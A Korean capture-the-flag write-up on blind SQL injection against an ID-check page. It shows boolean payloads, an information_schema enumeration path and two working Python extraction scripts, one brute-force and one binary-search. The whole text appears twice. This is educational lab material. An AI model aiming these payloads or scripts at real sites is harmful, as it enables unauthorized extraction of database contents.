
[1]Reconnaissance
Analysis Page
-ID 중복 검사 페이지로, 존재하는 ID를 입력하면 "존재하는 아이디입니다."를 출력하고 아래에는 사용된 쿼리를 출력해줍니다.

Check vulnerability
-먼저 SQL Injeciton이 가능한지를 확인하기 위해, "normaltic' and '1'='1" 을 입력해보았고 공격이 가능한 것을 확인했습니다.

-전 단계에서 해결한 Error based SQLi 와 다른 점은 에러 메세지를 출력하지 않는다는 것입니다.
-예를 들어 normaltic"' 을 입력하면 " 뒤의 문자는 "을 포함하여 모두 검열됩니다. 또한 extractvalue로 인한 xpath 에러 메세지도 출려되지 않습니다.

-또한 구문오류를 발생시키자, 에러 메세지가 직접 출력되는 것을 볼 수 있습니다.
Check Structure
-일단 select 자체가 검열되는 것인지 확인해보았습니다.

-결과를 보니 그런 것 같지는 않네요.
[2]Vulnerability
Blind SQL Injeciton
-Blind SQL Injeciton이란, SQL 질의문 결과가 직접 출력되지 않는 로그인 기능등에서 참과 거짓을 분별하여 정보를 추출하는 SQLi 기법입니다.
-위에서 참과 거짓을 분별할 수 있는 것은 "존재하는 아이디입니다." 와 "존재하지 않는아이디입니다." 로 출력되는 결과입니다.
-예를 들어보겠습니다.


-'1'='1'은 참이고, '1'='2'는 거짓이므로 위와 같은 결과를 각각 출력합니다.
-이를 이용해서 select '1'='2' 와 같은 조건문에 select length(database()) 와 같은 쿼리를 삽입하여 조건을 걸고 바로 뒤에 비교문(<,>,= 등)을 이용하여 나오는 결과를 비교해 참인 정보를 추출할 수 있습니다.
-일단 먼저 공격 포멧을 만들어보겠습니다.
[1]길이를 찾는 공격 포멧
-Database 찾기를 기준으로 설명하겠습니다.
-length 함수는 length(string)으로 사용하며, 길이를 출력합니다.
-만약 select 서브쿼리로 사용하는 경우 select length(문자열) from table where condition='condition' 으로 사용합니다.
normaltic' and (select length(database())>0) and '1'='1
-database()로 현재 DB 이름을 가져오고 그 DB의 길이를 0과 비교하였습니다. DB 이름이 한 글자 이상이라면 참이 될 것이고, "존재하는 아이디입니다."를 출력할 것입니다.

-이후부터는 비교하는 값을 바꿔가면서 결과를 비교하여 길이를 알아낼 수 있습니다.
-공격 포멧은 아래와 같이 작성할 수 있습니다.
#Query: select length(value) from table
normaltic' and (__QUERY__=number) and '1'='1
[2]글자를 찾는 공격 포멧
-위의 공격 포멧을 반복해서 DB의 길이를 구했고, 그 길이가 9라고 합시다.
-mysql에는 문자열을 원하는 길이만큼 추출하는 substr, mid 함수가 존재합니다. 이는 substr(문자열, 시작 위치, 추출할 길이)로 사용하며, 예를 들어서 substr('apple', 1, 1) 이라면 'a' 를 반환합니다.
-ascii와 ord는 문자열을 ascii 코드값으로 변환하는 함수입니다.
-글자를 찾는 공격 포멧은 원하는 값을 substr로 원하는 위치에서 잘라내고, 그것을 ascii code 값으로 변경한 숫자와 비교하여 정보를 추출하는 공격 포멧입니다.
-예를 들어 보겠습니다.
normaltic' and (select ascii(substr(database(),1,1)) > 0) and '1'='1
-위의 페이로드는 현재 database 이름의 첫 글자를 ascii code 값으로 변환한 값이 0보다 크다는 구문입니다.

-따라서 참을 뜻하는 "존재하는 아이디입니다."를 출력합니다.
-길이를 찾는 것과 같이 한 글자의 ascii code 값과 수를 비교하여 한 글자씩 정보를 추출합니다.
[3]이후의 단계와 자동화
-먼저 모든 정보 추출단계는 길이 탐색 + 글자 추출을 한 묶음으로 생각하고 진행합니다.
-DB 찾기 > TABLE 찾기 > COLUMN 찾기 > 원하는 정보 추출
-DB 찾기: select database()
-TABLE 찾기: select table_name from information_schema.tables where table_schema='DB찾기로 찾은 DB이름'
-COLUMN 찾기: select column_name from information_schema.columns where table_name='TABLE 찾기로 찾은 TABLE 이름'
*만약 서브쿼리 결과 수 제한이 있다면 limit offset, 1 등으로 결과를 제한하여 추출할 수 있습니다.
-위에서 설명한 것들을 들어보면 Blind SQLi는 굉장히 오래걸리고 힘든 작업인 것처럼 보입니다.
-하지만 python 코드를 이용하면 조금 더 편하게 작업을 수행할 수 있습니다.
-먼저 위에서 설명한 방법 그대로 작성한 코드를 소개하고 그 다음 이진 탐색을 이용한 빠른 방식을 소개하겠습니다.
[1]자동화 툴1
-가장 먼저 기능을 길이 찾기와 정보 찾기로 나눕니다.
-공격 포멧(Query와 비교값 외에 변하지 않는 공격 케이스)을 제작합니다. -> normaltic' and (__QUERY__={number}) and '1'='1
-우리가 원하는 정보를 얻기 위해 사용하는 query가 select value from table 과 같다면, select와 from table은 그대로 들어가지만 길이를 얻으려면 length(value)를, 정보를 얻는다면 ascii(substr(value,1,1))을 사용할 것입니다. 즉 가변적인 value 부분만 가공해서 다른 부분과 붙인 후 QUERY로 삽입하면 됩니다.
-ascii code는 33번(!)부터 126번(~)까지 사용합니다.
import requests as req
sess = req.Session()
url = 'your_url'
#Attack Format = "normaltic' and ord(substr((ATTACK),1,1))>{number}
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
res = sess.post(url, cookies={'PHPSESSID':'__your__', 'session':'__your_info__'}, data={'query':f"normaltic' and ({ATTACK})={num} and '1'='1"})
if "존재하는 아이디입니다." in res.text:
number = num
break
num += 1
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
for mid in range(32,127):
ATTACK = ("".join(f'ascii(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
resz = sess.post(url, cookies={'PHPSESSID':'__your_info___', 'session':'__your_info__'}, data={'query':f"normaltic' and ({ATTACK})={mid} and '1'='1"})
if("존재하는 아이디입니다." in resz.text):
data = data + chr(int(mid))
print(chr(int(mid)),sep="")
break
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
get_query(number, ATTACK)
print("\n")
-맨 아래부터 보면, ATTACK 변수에 사용할 Query를 받고 있는 것을 볼 수 있습니다.
-get_len 함수에서는 길이를, get_query에서는 한 글자씩 비교하여 정보를 추출하고 있습니다.
-다른 것은 크게 복잡한 것이 없으나, ATTACK을 split하여, 다시 합치는 부분이 복잡해 보일 수 있습니다.
-이는 위에서 설명했던 value 부분의 가변적인 동작을 위해 ATTACK 변수에 들어있는 query 전체를 공백을 기준으로 리스트로 만든 다음, list index 1에 해당하는 value를 길이라면 length로, 한 글자 정보 추출이라면 ascii(substr(...))로 변환하는 과정을 표현한 것입니다.
-이는 문제를 빨리 풀기 위해 제작한 것이었는데, 복습때 보니 아래와 같은 문제점이 있었습니다.
*시간이 너무 느리다는 점
*문법적 오류와, 결과 없음에 대한 처리가 없어서 이와 같은 경우 프로그램을 종료하고 다시 query를 입력했어야 한다는 점
[2]이진 탐색 자동화
-이진 탐색의 예시는 업/다운 게임과 같습니다.
-업/다운 게임은 어떠한 수를 정하고 그 수를 맞추기 위해 특정 수를 말하면, 정답에 가까워 지기 위해 특정 수에서 업 혹은 다운을 하라고 지시하며 정답을 맞추는 게임입니다.
-자동화 툴 1은 마치 업/다운 게임에서 업/다운을 듣지 않고 1부터 n까지 하나하나 물어보는 것과 같습니다. 이제보니 굉장히 비효율적입니다.
-이진 탐색은 먼저 특정 수의 범위 중 가장 큰 값 max와 가장 작은 값 min을 정하고 $\frac{max+min}{2}=mid$로 mid를 정합니다.
-mid를 정답과 비교하여 업이면, min에 mid를 삽입하고, 다운이면 max에 mid를 삽입합니다. 이후 다시 $\frac{max+min}{2}=mid$로 새로운 mid를 생성하고 이를 비교하는 과정을 반복합니다.
-제가 가장 고민을 많이 했던 부분은 업과 다운 그리고 정답을 맞추는 조건에 대한 부분이었습니다.
-먼저 조건을 정하였습니다.
select length(database()) > 0
-이 Query에 대한 위 문제의 응답은 "존재하는 아이디입니다." 일 것입니다. 즉 0보다 크다라는 것이죠. 여기서 0은 우리가 삽입할 mid와 같습니다. 따라서 mid보다 크다라는 것은 min에 mid를 삽입하는 것을 의미합니다. 따라서 mid와 비교한 결과가 "존재하지 않는아이디입니다."라면 max에 mid를 삽입하는 것을 의미합니다.
-두 번째로, 정답에 관한 조건입니다. 이진탐색에 대해 검색해보셨다면 max-min<=1 등의 조건을 보셨을 겁니다. 다만 저 조건만으로 나온 값들을 정답과 비교하면 정답이 아닌 경우도 있습니다. 따라서 저는 max-min<1 조건을 통과한 mid 값을 '=' 비교문으로 변경한 Query에 삽입하여 전송한 후 참 응답을 받은 값들의 mid, max, min 값을 살펴보았습니다.
-여기서 저는 max-min<=1 이며, max==mid 인 값들이 참이었다는 것을 관찰하였습니다.
import requests as req
sess = req.Session()
url = '__your__url__'
#Attack Format = "normaltic' and ord(substr((ATTACK),1,1))>{number}
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"normaltic' and ({ATTACK})={num} and '1'='1"
res = sess.post(url, cookies={'PHPSESSID':'__your__info__', 'session':'__your__info___'}, data={'query':query})
if "존재하는 아이디입니다." in res.text:
number = num
break
elif num>200:
print("No results")
return -1
elif "존재하지 않는아이디입니다" in res.text:
num += 1
continue
else:
return -1
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
res = sess.post(url, cookies={'PHPSESSID':'__your__info__', 'session':'__your__info__'}, data={'query':f"normaltic' and ({ATTACK})>{mid} and '1'='1"})
if("존재하지 않는아이디입니다." in res.text):
max_ = mid
else:
min_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number, ATTACK)
print("")
#select database()
#select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1
#select column_name from information_schema.columns where table_name='flagTable' limit 1,1
#select flag from flagTable limit 0,1
-탐색 과정은 이진 탐색인 점을 제외하고 자동화 툴 1과 같으나, get_len 함수 내에서 문법 오류의 경우와 결과가 없는 경우에 대한 조건을 달아 -1을 리턴하게 하고 -1를 리턴받는다면 다시 Query를 점검해보라는 메세제와 continue를 이용하여 프로그램이 재가동되게 제작하였습니다.
-이진탐색을 이용한 이 자동화 툴은 자동화 툴1과 비교하여 굉장히 빠릅니다.
[3]Flag

'write-up > web' 카테고리의 다른 글
SQL Injection 6 (0) | 2024.06.05 |
---|---|
SQL Injeciton 3&4&5 (0) | 2024.06.03 |
SQL Injection (Error Based SQLi Basic) (0) | 2024.05.31 |
SQL Injection 2 (0) | 2024.05.24 |
SQL Injection 1 (0) | 2024.05.23 |

[1]Reconnaissance
Analysis Page
-ID 중복 검사 페이지로, 존재하는 ID를 입력하면 "존재하는 아이디입니다."를 출력하고 아래에는 사용된 쿼리를 출력해줍니다.

Check vulnerability
-먼저 SQL Injeciton이 가능한지를 확인하기 위해, "normaltic' and '1'='1" 을 입력해보았고 공격이 가능한 것을 확인했습니다.

-전 단계에서 해결한 Error based SQLi 와 다른 점은 에러 메세지를 출력하지 않는다는 것입니다.
-예를 들어 normaltic"' 을 입력하면 " 뒤의 문자는 "을 포함하여 모두 검열됩니다. 또한 extractvalue로 인한 xpath 에러 메세지도 출려되지 않습니다.

-또한 구문오류를 발생시키자, 에러 메세지가 직접 출력되는 것을 볼 수 있습니다.
Check Structure
-일단 select 자체가 검열되는 것인지 확인해보았습니다.

-결과를 보니 그런 것 같지는 않네요.
[2]Vulnerability
Blind SQL Injeciton
-Blind SQL Injeciton이란, SQL 질의문 결과가 직접 출력되지 않는 로그인 기능등에서 참과 거짓을 분별하여 정보를 추출하는 SQLi 기법입니다.
-위에서 참과 거짓을 분별할 수 있는 것은 "존재하는 아이디입니다." 와 "존재하지 않는아이디입니다." 로 출력되는 결과입니다.
-예를 들어보겠습니다.


-'1'='1'은 참이고, '1'='2'는 거짓이므로 위와 같은 결과를 각각 출력합니다.
-이를 이용해서 select '1'='2' 와 같은 조건문에 select length(database()) 와 같은 쿼리를 삽입하여 조건을 걸고 바로 뒤에 비교문(<,>,= 등)을 이용하여 나오는 결과를 비교해 참인 정보를 추출할 수 있습니다.
-일단 먼저 공격 포멧을 만들어보겠습니다.
[1]길이를 찾는 공격 포멧
-Database 찾기를 기준으로 설명하겠습니다.
-length 함수는 length(string)으로 사용하며, 길이를 출력합니다.
-만약 select 서브쿼리로 사용하는 경우 select length(문자열) from table where condition='condition' 으로 사용합니다.
normaltic' and (select length(database())>0) and '1'='1
-database()로 현재 DB 이름을 가져오고 그 DB의 길이를 0과 비교하였습니다. DB 이름이 한 글자 이상이라면 참이 될 것이고, "존재하는 아이디입니다."를 출력할 것입니다.

-이후부터는 비교하는 값을 바꿔가면서 결과를 비교하여 길이를 알아낼 수 있습니다.
-공격 포멧은 아래와 같이 작성할 수 있습니다.
#Query: select length(value) from table
normaltic' and (__QUERY__=number) and '1'='1
[2]글자를 찾는 공격 포멧
-위의 공격 포멧을 반복해서 DB의 길이를 구했고, 그 길이가 9라고 합시다.
-mysql에는 문자열을 원하는 길이만큼 추출하는 substr, mid 함수가 존재합니다. 이는 substr(문자열, 시작 위치, 추출할 길이)로 사용하며, 예를 들어서 substr('apple', 1, 1) 이라면 'a' 를 반환합니다.
-ascii와 ord는 문자열을 ascii 코드값으로 변환하는 함수입니다.
-글자를 찾는 공격 포멧은 원하는 값을 substr로 원하는 위치에서 잘라내고, 그것을 ascii code 값으로 변경한 숫자와 비교하여 정보를 추출하는 공격 포멧입니다.
-예를 들어 보겠습니다.
normaltic' and (select ascii(substr(database(),1,1)) > 0) and '1'='1
-위의 페이로드는 현재 database 이름의 첫 글자를 ascii code 값으로 변환한 값이 0보다 크다는 구문입니다.

-따라서 참을 뜻하는 "존재하는 아이디입니다."를 출력합니다.
-길이를 찾는 것과 같이 한 글자의 ascii code 값과 수를 비교하여 한 글자씩 정보를 추출합니다.
[3]이후의 단계와 자동화
-먼저 모든 정보 추출단계는 길이 탐색 + 글자 추출을 한 묶음으로 생각하고 진행합니다.
-DB 찾기 > TABLE 찾기 > COLUMN 찾기 > 원하는 정보 추출
-DB 찾기: select database()
-TABLE 찾기: select table_name from information_schema.tables where table_schema='DB찾기로 찾은 DB이름'
-COLUMN 찾기: select column_name from information_schema.columns where table_name='TABLE 찾기로 찾은 TABLE 이름'
*만약 서브쿼리 결과 수 제한이 있다면 limit offset, 1 등으로 결과를 제한하여 추출할 수 있습니다.
-위에서 설명한 것들을 들어보면 Blind SQLi는 굉장히 오래걸리고 힘든 작업인 것처럼 보입니다.
-하지만 python 코드를 이용하면 조금 더 편하게 작업을 수행할 수 있습니다.
-먼저 위에서 설명한 방법 그대로 작성한 코드를 소개하고 그 다음 이진 탐색을 이용한 빠른 방식을 소개하겠습니다.
[1]자동화 툴1
-가장 먼저 기능을 길이 찾기와 정보 찾기로 나눕니다.
-공격 포멧(Query와 비교값 외에 변하지 않는 공격 케이스)을 제작합니다. -> normaltic' and (__QUERY__={number}) and '1'='1
-우리가 원하는 정보를 얻기 위해 사용하는 query가 select value from table 과 같다면, select와 from table은 그대로 들어가지만 길이를 얻으려면 length(value)를, 정보를 얻는다면 ascii(substr(value,1,1))을 사용할 것입니다. 즉 가변적인 value 부분만 가공해서 다른 부분과 붙인 후 QUERY로 삽입하면 됩니다.
-ascii code는 33번(!)부터 126번(~)까지 사용합니다.
import requests as req
sess = req.Session()
url = 'your_url'
#Attack Format = "normaltic' and ord(substr((ATTACK),1,1))>{number}
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
res = sess.post(url, cookies={'PHPSESSID':'__your__', 'session':'__your_info__'}, data={'query':f"normaltic' and ({ATTACK})={num} and '1'='1"})
if "존재하는 아이디입니다." in res.text:
number = num
break
num += 1
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
for mid in range(32,127):
ATTACK = ("".join(f'ascii(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
resz = sess.post(url, cookies={'PHPSESSID':'__your_info___', 'session':'__your_info__'}, data={'query':f"normaltic' and ({ATTACK})={mid} and '1'='1"})
if("존재하는 아이디입니다." in resz.text):
data = data + chr(int(mid))
print(chr(int(mid)),sep="")
break
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
get_query(number, ATTACK)
print("\n")
-맨 아래부터 보면, ATTACK 변수에 사용할 Query를 받고 있는 것을 볼 수 있습니다.
-get_len 함수에서는 길이를, get_query에서는 한 글자씩 비교하여 정보를 추출하고 있습니다.
-다른 것은 크게 복잡한 것이 없으나, ATTACK을 split하여, 다시 합치는 부분이 복잡해 보일 수 있습니다.
-이는 위에서 설명했던 value 부분의 가변적인 동작을 위해 ATTACK 변수에 들어있는 query 전체를 공백을 기준으로 리스트로 만든 다음, list index 1에 해당하는 value를 길이라면 length로, 한 글자 정보 추출이라면 ascii(substr(...))로 변환하는 과정을 표현한 것입니다.
-이는 문제를 빨리 풀기 위해 제작한 것이었는데, 복습때 보니 아래와 같은 문제점이 있었습니다.
*시간이 너무 느리다는 점
*문법적 오류와, 결과 없음에 대한 처리가 없어서 이와 같은 경우 프로그램을 종료하고 다시 query를 입력했어야 한다는 점
[2]이진 탐색 자동화
-이진 탐색의 예시는 업/다운 게임과 같습니다.
-업/다운 게임은 어떠한 수를 정하고 그 수를 맞추기 위해 특정 수를 말하면, 정답에 가까워 지기 위해 특정 수에서 업 혹은 다운을 하라고 지시하며 정답을 맞추는 게임입니다.
-자동화 툴 1은 마치 업/다운 게임에서 업/다운을 듣지 않고 1부터 n까지 하나하나 물어보는 것과 같습니다. 이제보니 굉장히 비효율적입니다.
-이진 탐색은 먼저 특정 수의 범위 중 가장 큰 값 max와 가장 작은 값 min을 정하고 $\frac{max+min}{2}=mid$로 mid를 정합니다.
-mid를 정답과 비교하여 업이면, min에 mid를 삽입하고, 다운이면 max에 mid를 삽입합니다. 이후 다시 $\frac{max+min}{2}=mid$로 새로운 mid를 생성하고 이를 비교하는 과정을 반복합니다.
-제가 가장 고민을 많이 했던 부분은 업과 다운 그리고 정답을 맞추는 조건에 대한 부분이었습니다.
-먼저 조건을 정하였습니다.
select length(database()) > 0
-이 Query에 대한 위 문제의 응답은 "존재하는 아이디입니다." 일 것입니다. 즉 0보다 크다라는 것이죠. 여기서 0은 우리가 삽입할 mid와 같습니다. 따라서 mid보다 크다라는 것은 min에 mid를 삽입하는 것을 의미합니다. 따라서 mid와 비교한 결과가 "존재하지 않는아이디입니다."라면 max에 mid를 삽입하는 것을 의미합니다.
-두 번째로, 정답에 관한 조건입니다. 이진탐색에 대해 검색해보셨다면 max-min<=1 등의 조건을 보셨을 겁니다. 다만 저 조건만으로 나온 값들을 정답과 비교하면 정답이 아닌 경우도 있습니다. 따라서 저는 max-min<1 조건을 통과한 mid 값을 '=' 비교문으로 변경한 Query에 삽입하여 전송한 후 참 응답을 받은 값들의 mid, max, min 값을 살펴보았습니다.
-여기서 저는 max-min<=1 이며, max==mid 인 값들이 참이었다는 것을 관찰하였습니다.
import requests as req
sess = req.Session()
url = '__your__url__'
#Attack Format = "normaltic' and ord(substr((ATTACK),1,1))>{number}
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"normaltic' and ({ATTACK})={num} and '1'='1"
res = sess.post(url, cookies={'PHPSESSID':'__your__info__', 'session':'__your__info___'}, data={'query':query})
if "존재하는 아이디입니다." in res.text:
number = num
break
elif num>200:
print("No results")
return -1
elif "존재하지 않는아이디입니다" in res.text:
num += 1
continue
else:
return -1
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
res = sess.post(url, cookies={'PHPSESSID':'__your__info__', 'session':'__your__info__'}, data={'query':f"normaltic' and ({ATTACK})>{mid} and '1'='1"})
if("존재하지 않는아이디입니다." in res.text):
max_ = mid
else:
min_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number, ATTACK)
print("")
#select database()
#select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1
#select column_name from information_schema.columns where table_name='flagTable' limit 1,1
#select flag from flagTable limit 0,1
-탐색 과정은 이진 탐색인 점을 제외하고 자동화 툴 1과 같으나, get_len 함수 내에서 문법 오류의 경우와 결과가 없는 경우에 대한 조건을 달아 -1을 리턴하게 하고 -1를 리턴받는다면 다시 Query를 점검해보라는 메세제와 continue를 이용하여 프로그램이 재가동되게 제작하였습니다.
-이진탐색을 이용한 이 자동화 툴은 자동화 툴1과 비교하여 굉장히 빠릅니다.
[3]Flag

'write-up > web' 카테고리의 다른 글
SQL Injection 6 (0) | 2024.06.05 |
---|---|
SQL Injeciton 3&4&5 (0) | 2024.06.03 |
SQL Injection (Error Based SQLi Basic) (0) | 2024.05.31 |
SQL Injection 2 (0) | 2024.05.24 |
SQL Injection 1 (0) | 2024.05.23 |